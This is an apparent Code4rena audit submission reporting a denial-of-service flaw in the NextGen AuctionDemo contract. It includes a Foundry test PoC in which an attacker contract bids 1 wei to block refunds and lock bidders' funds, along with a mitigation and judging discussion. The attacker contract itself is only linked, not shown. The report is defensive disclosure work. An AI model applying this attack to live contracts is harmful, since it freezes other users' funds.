Attacker can permanently DoS every auction in AuctionDemo

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

An attacker can disrupt every auction in AuctionDemo permanently by placing a minimal bid of 1 wei with a malicious contract during the auction's initiation. This action can result in a permanent Denial-of-Service (DoS), effectively locking all user funds in the contract.

Note

Attackers can exploit this using onERC721Received too, but it's costlier since they need to be the highest bidder to claim the NFT.

Proof of Concept

Here is a coded PoC to demonstrate the issue:

    function testDoSAuctionDemo() public {
        // @audit-info The attacker can keep repredoucing this attack for every token id with no cost but gas

        vm.prank(genAdminOwner);
        minterContract.mintAndAuction({
            _recipient: artist1,
            _tokenData: "",
            _saltfun_o: 0,
            _collectionID: 1,
            _auctionEndTime: block.timestamp + 1 days
        });
        assertEq(minterContract.getAuctionStatus(10000000000), true);

        vm.prank(artist1);
        nextGenCore.approve(address(auctionDemo), 10000000000);

        address attacker = makeAddr("attacker");
        vm.label(attacker, "attacker");

        // Attacker will bid first to make his attack as cheep as possible

        deal(attacker, 1 wei);

        vm.startPrank(attacker);
        PDos permanentDos = new PDos(auctionDemo, 10000000000);
        permanentDos.bid{value: 1 wei}();
        vm.stopPrank();

        hoax(bidder1, 1e18);
        auctionDemo.participateToAuction{value: 1e18}(10000000000);

        hoax(bidder2, 2e18);
        auctionDemo.participateToAuction{value: 2e18}(10000000000);

        vm.warp(block.timestamp + 1 days);

        vm.prank(bidder2);
        auctionDemo.claimAuction(10000000000);
    }

Test Result:

memory allocation of 12884901888 bytes failed

Test Setup:

• Clone the repository: https://github.com/0xbtk/NextGen-Setup.git
• Add the attacker's contract in the Helpers folder from this link
• Incorporate the tests in NextGenSecurityReview
• Execute: forge test --mt testDoSAuctionDemo -vvv

Tools Used

Manual review

Recommended Mitigation Steps

To mitigate this vulnerability, consider implementing the following steps:

1. During the winner claim process, transfer the NFT and pay the owner.
2. Implement a separate refund function to allow bidders to claim refunds individually.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #1952

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as primary issue

[c4-judge]

alex-ppg marked the issue as duplicate of #734

[c4-judge]

alex-ppg marked the issue as satisfactory

[0xbtk]

Hey @alex-ppg, can you consider choosing #1508 for the report over #734. Although #734 has a solid explanation and acknowledgment of the bot issues, it lacks a detailed attack path and a coded PoC, in fact, it merely states,: "With the current implementation, a gas bomb can be implemented to perform the attack."

In contrast, #1508, provides a valid/running PoC, a clear impact with the acknowledgment of #739 (left a comment there too).

That being said, I am aware that a report being "better" is extremely subjective, and will respect your final decision as a judge.

Thanks!

[alex-ppg]

Hey @0xbtk, thanks for your contribution to the PJQA process! I understand your concern and criticism but will retain my current judgment. Given that this submission refers to a direct escalation of a bot report finding, it must be mentioned for transparency. As such, I have opted to award the selected-for-report grade to the #734 submission.